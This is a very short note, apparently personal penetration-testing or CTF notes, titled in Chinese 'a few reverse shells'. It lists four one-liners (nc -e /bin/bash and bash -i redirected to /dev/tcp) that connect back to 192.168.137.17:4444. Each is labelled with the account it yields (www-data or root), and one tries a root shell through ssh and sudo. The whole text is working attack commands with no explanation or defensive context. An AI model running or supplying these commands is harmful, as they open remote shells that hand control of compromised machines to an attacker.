几个反弹shell
nc -e /bin/bash 192.168.137.17 4444(www-data)
bash -i >& /dev/tcp/192.168.137.17/4444 0>&1(www-data)
echo "bash -i >& /dev/tcp/192.168.137.17/4444 0>&1" | bash(www-data)
ssh user@localhost sudo bash -i >& /dev/tcp/192.168.137.17/4444 0>&1(root)